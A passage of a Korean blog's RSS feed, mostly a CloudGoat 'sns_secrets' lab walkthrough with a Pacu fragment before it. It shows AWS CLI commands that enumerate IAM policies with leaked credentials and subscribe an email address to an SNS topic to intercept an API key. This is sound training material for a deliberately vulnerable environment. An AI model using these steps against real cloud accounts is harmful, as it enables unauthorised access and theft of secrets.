&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;run [모듈명]

# 현재 내 유저가 가진 권한을 분석
run iam__enum_permissions&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-path-to-node=&quot;20&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;20&quot;&gt;④ 수집된 데이터 확인&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;21&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Pacu가 수집한 정보는 따로 명령어를 치지 않아도 내부 DB에 저장된다.&lt;/span&gt;&lt;/p&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwjkxOSR-JGTAxUAAAAAHQAAAAAQhwQ&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 지금까지 찾은 모든 리소스 요약 보기
data

# 특정 서비스의 데이터 상세 보기
data [서비스명]&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>AWS/CloudGoat</category>
      <category>AWS</category>
      <category>cloudgoat</category>
      <category>Pacu</category>
      <author>chon29</author>
      <guid isPermaLink="true">https://chon29.tistory.com/40</guid>
      <comments>https://chon29.tistory.com/40#entry40comment</comments>
      <pubDate>Mon, 9 Mar 2026 15:11:03 +0900</pubDate>
    </item>
    <item>
      <title>[ CloudGoat | Easy ] sns_secrets 시나리오 실습</title>
      <link>https://chon29.tistory.com/39</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Github 링크&lt;/b&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1772958856675&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;cloudgoat/cloudgoat/scenarios/aws/sns_secrets at master &amp;middot; RhinoSecurityLabs/cloudgoat&quot; data-og-description=&quot;CloudGoat is Rhino Security Labs' &amp;quot;Vulnerable by Design&amp;quot; AWS deployment tool - RhinoSecurityLabs/cloudgoat&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/sns_secrets&quot; data-og-url=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/sns_secrets&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/Xw05T/dJMb8YXJwOR/HBOQ44DaF8gWss6B2Cvip1/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400,https://scrap.kakaocdn.net/dn/qeHZi/dJMb8SXvObF/qkKh6ZwbWt1pGU95a0Hfjk/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400,https://scrap.kakaocdn.net/dn/bi1bRZ/dJMb8951CHr/BrWBfgycg9k4MVXvjcIqL0/img.png?width=1522&amp;amp;height=701&amp;amp;face=0_0_1522_701&quot;&gt;&lt;a href=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/sns_secrets&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/sns_secrets&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/Xw05T/dJMb8YXJwOR/HBOQ44DaF8gWss6B2Cvip1/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400,https://scrap.kakaocdn.net/dn/qeHZi/dJMb8SXvObF/qkKh6ZwbWt1pGU95a0Hfjk/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400,https://scrap.kakaocdn.net/dn/bi1bRZ/dJMb8951CHr/BrWBfgycg9k4MVXvjcIqL0/img.png?width=1522&amp;amp;height=701&amp;amp;face=0_0_1522_701');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;cloudgoat/cloudgoat/scenarios/aws/sns_secrets at master &amp;middot; RhinoSecurityLabs/cloudgoat&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;CloudGoat is Rhino Security Labs' &quot;Vulnerable by Design&quot; AWS deployment tool - RhinoSecurityLabs/cloudgoat&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style6&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;README &lt;br /&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;시나리오 개요&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;589&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c5z6PN/dJMcahwPYEs/funEt58DCoBdcyBy5CLkt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c5z6PN/dJMcahwPYEs/funEt58DCoBdcyBy5CLkt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c5z6PN/dJMcahwPYEs/funEt58DCoBdcyBy5CLkt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc5z6PN%2FdJMcahwPYEs%2FfunEt58DCoBdcyBy5CLkt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;589&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;589&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;6&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6&quot;&gt;Exploitation Route&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,0&quot;&gt;Enumerate the user's policy&lt;/b&gt;: &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;제공된 자격 증명으로 IAM 권한을 확인하고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b data-path-to-node=&quot;7,0,0&quot; data-index-in-node=&quot;29&quot;&gt;SNS(Simple Notification Service)&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;토픽을 나열하고 구독할 수 있는 권한이&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;있는지 체크한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,0&quot;&gt;Enumerate SNS Topics&lt;/b&gt;: 어떤 SNS 주제(Topic)들이 생성되어 있는지 목록을 조회한다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,2,0&quot;&gt;Subscribe to the SNS Topic&lt;/b&gt;: 정보를 훔쳐보기 위해 &lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;&quot;sns__enum&quot;과 &quot;sns__subscribe&quot;를 사용하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;토픽을 구독하여 메시지를 받을 준비를 한다. (실습에서는 주로 이메일이나 HTTP 엔드포인트를 활용)&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,3,0&quot;&gt;Retrieve the API Key from the SNS Topic&lt;/b&gt;: &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;SNS 토픽에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;디버그 메시지로 API 키가 포함된 이메일을 받는다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;디버그 메시지를 모니터링하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b data-path-to-node=&quot;7,2,0&quot; data-index-in-node=&quot;38&quot;&gt;API Key&lt;/b&gt;를 탈취한다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,4,0&quot;&gt;Identify the API Gateway URL&lt;/b&gt;: &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;AWS CLI로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b data-path-to-node=&quot;7,3,0&quot; data-index-in-node=&quot;17&quot;&gt;API Gateway&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;를 조회하여&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;API 게이트웨이의 경로, 메서드, 단계 및 리소스를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;알아낸다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,5,0&quot;&gt;Trigger the API Gateway with the API Key&lt;/b&gt;: 탈취한 API Key를 헤더에 넣고 curl로 API를 호출해 플래그를 얻는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;br /&gt;유출된 API Key를 찾아 API Gateway를 호출하고 최종 플래그(Flag)를 획득&lt;/b&gt;하는 것이 이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;시나리오의 목표&lt;/b&gt;!&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style6&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[ 환경 구축 ]&lt;/b&gt;&lt;/h3&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;시나리오 생성&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;먼저 터미널에서 아래 명령어를 입력하여 실습 환경을 구축한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1772958927371&quot; class=&quot;bash&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;cloudgoat create sns_secrets&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;시나리오 리소스&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1 EC2 instance&lt;/li&gt;
&lt;li&gt;1 SNS topic&lt;/li&gt;
&lt;li&gt;1 API Gateway REST API&lt;/li&gt;
&lt;li&gt;1 IAM role&lt;/li&gt;
&lt;li&gt;1 IAM user&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;AWS CLI 프로필 설정 (자격 증명 등록)&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;시나리오에서 발급받은&lt;b&gt;&amp;nbsp;access_key_id&lt;/b&gt;와&lt;span&gt; &lt;/span&gt;&lt;b&gt;secret_access_key&lt;/b&gt;를 사용하여 내 로컬 환경에 사용자의 프로필을 등록하고 정상적으로 접속되는지 확인한다.&lt;/p&gt;
&lt;pre id=&quot;code_1773016352057&quot; class=&quot;bash&quot; style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 프로필 등록
aws configure --profile [프로필_이름]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;142&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceuV2E/dJMcahXTrki/TrankKFUskDPN34iN2f5ZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceuV2E/dJMcahXTrki/TrankKFUskDPN34iN2f5ZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceuV2E/dJMcahXTrki/TrankKFUskDPN34iN2f5ZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceuV2E%2FdJMcahXTrki%2FTrankKFUskDPN34iN2f5ZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1028&quot; height=&quot;142&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;142&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;시나리오에서 생성된 사용자의&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;프로필을 등록한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;현재 사용자 정보 확인&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1773021858068&quot; class=&quot;bash&quot; style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 현재 신분 확인
aws sts get-caller-identity --profile [프로필_이름]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;999&quot; data-origin-height=&quot;165&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k2cki/dJMcacbduoW/3TgYUdnJqQAlCbgZXXuikK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k2cki/dJMcacbduoW/3TgYUdnJqQAlCbgZXXuikK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k2cki/dJMcacbduoW/3TgYUdnJqQAlCbgZXXuikK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk2cki%2FdJMcacbduoW%2F3TgYUdnJqQAlCbgZXXuikK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;999&quot; height=&quot;165&quot; data-origin-width=&quot;999&quot; data-origin-height=&quot;165&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;프로필 등록 후, 각 계정으로 정상 접속되는지 UserId와 Arn을 확인한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[ IAM 권한 분석 ]&lt;/b&gt;&lt;/h3&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;사용자에게 연결된 정책 확인&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1773022188553&quot; class=&quot;bash&quot; style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 연결된 관리형 정책 확인
aws iam list-attached-user-policies --user-name [사용자_이름] --profile [프로필_이름]

# 인라인 정책 확인
aws iam list-user-policies --user-name [사용자_이름] --profile [프로필_이름]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1541&quot; data-origin-height=&quot;249&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/da7OcX/dJMcafltFXJ/EIcDakGKZ6a3cJTNDuor2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/da7OcX/dJMcafltFXJ/EIcDakGKZ6a3cJTNDuor2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/da7OcX/dJMcafltFXJ/EIcDakGKZ6a3cJTNDuor2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fda7OcX%2FdJMcafltFXJ%2FEIcDakGKZ6a3cJTNDuor2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1541&quot; height=&quot;249&quot; data-origin-width=&quot;1541&quot; data-origin-height=&quot;249&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;관리형 정책 : AWS에서 기본으로 제공하거나 미리 만들어진 정책이 유저에게 붙어 있는지 확인하는 명령&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;인라인 정책 : 유저에게 직접 정의된 전용 권한이 있는지 확인하는 명령&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1773022918554&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&quot;PolicyNames&quot;: [
        &quot;cg-sns-user-policy-cgidul5ww5b297&quot;
    ]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;CloudGoat 시나리오에서는 주로 인라인 정책(Inline Policy)에 핵심 권한을 숨겨두는 경우가 많으므로 반드시 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;인라인 정책 상세 확인 (cg-sns-user-policy-cgidul5ww5b297)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인라인 정책 이름이 확인되었다면, 실제 어떤 권한(JSON)이 들어있는지 확인해야 한다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1773022961234&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 인라인 정책 상세 내용 확인
aws iam get-user-policy --user-name [사용자_이름] --policy-name [정책_이름] --profile [프로필_이름]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1287&quot; data-origin-height=&quot;1046&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QeOeK/dJMcadHUTl2/M5nBzvQMeZQu4QgrHri671/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QeOeK/dJMcadHUTl2/M5nBzvQMeZQu4QgrHri671/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QeOeK/dJMcadHUTl2/M5nBzvQMeZQu4QgrHri671/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQeOeK%2FdJMcadHUTl2%2FM5nBzvQMeZQu4QgrHri671%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1287&quot; height=&quot;1046&quot; data-origin-width=&quot;1287&quot; data-origin-height=&quot;1046&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;정책 분석 &lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;sns:ListTopics&lt;/b&gt;: 현재 AWS 계정에 어떤 SNS 주제가 있는지 목록을 조회하여 공격 대상을 선정할 수 있다. (정찰 단계)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;sns:Subscribe&lt;/b&gt;: 특정 토픽에 나를 등록하여 내부 메시지를 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;도청할 수 있는 권한이다.&lt;/span&gt; &lt;b data-index-in-node=&quot;49&quot; data-path-to-node=&quot;5,1,0&quot;&gt;⭐&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,2,0&quot;&gt;sns:Receive&lt;/b&gt;: 메시지를 수신할 수 있는 권한&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,3,0&quot;&gt;apigateway:GET&lt;/b&gt;: API Gateway의 구조와 엔드포인트를 정찰하여 최종 데이터 유출 경로를 파악할 수 있다. (아래쪽에 특정 리소스에 대한 Deny 설정이 있으니 주의)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt; [ SNS 토픽 탈취 및 구독 ] &lt;/b&gt;&lt;/h3&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;SNS 토픽 목록 확인 &lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1773023843568&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# SNS 토픽 목록 조회
aws sns list-topics --profile [프로필_이름]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;196&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1mr3O/dJMcagq8Vmr/HMEAtFfdXyyofxaNw8gB3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1mr3O/dJMcagq8Vmr/HMEAtFfdXyyofxaNw8gB3k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1mr3O/dJMcagq8Vmr/HMEAtFfdXyyofxaNw8gB3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1mr3O%2FdJMcagq8Vmr%2FHMEAtFfdXyyofxaNw8gB3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1168&quot; height=&quot;196&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;196&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;정책에서 권한이 있음을 확인했으니, 이제 실제로 어떤 토픽이 있는지 살펴봐야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;TopicArn이 포함된 결과를 확인할 수 있다. 이 Arn을 이용하여 토픽을 구독한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;SNS 토픽 구독&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1773024327914&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws sns subscribe --topic-arn [TopicArn] --protocol email --notification-endpoint [구독할_이메일_주소] \
    --profile [프로필_이름] --region us-east-1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDGvWM/dJMcaiPZpan/r676kqW1ayoy0Cf2sm5JHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDGvWM/dJMcaiPZpan/r676kqW1ayoy0Cf2sm5JHk/img.png&quot; data-origin-width=&quot;593&quot; data-origin-height=&quot;78&quot; data-is-animation=&quot;false&quot; style=&quot;width: 76.113%; margin-right: 10px;&quot; data-widthpercent=&quot;77.01&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDGvWM/dJMcaiPZpan/r676kqW1ayoy0Cf2sm5JHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDGvWM%2FdJMcaiPZpan%2Fr676kqW1ayoy0Cf2sm5JHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 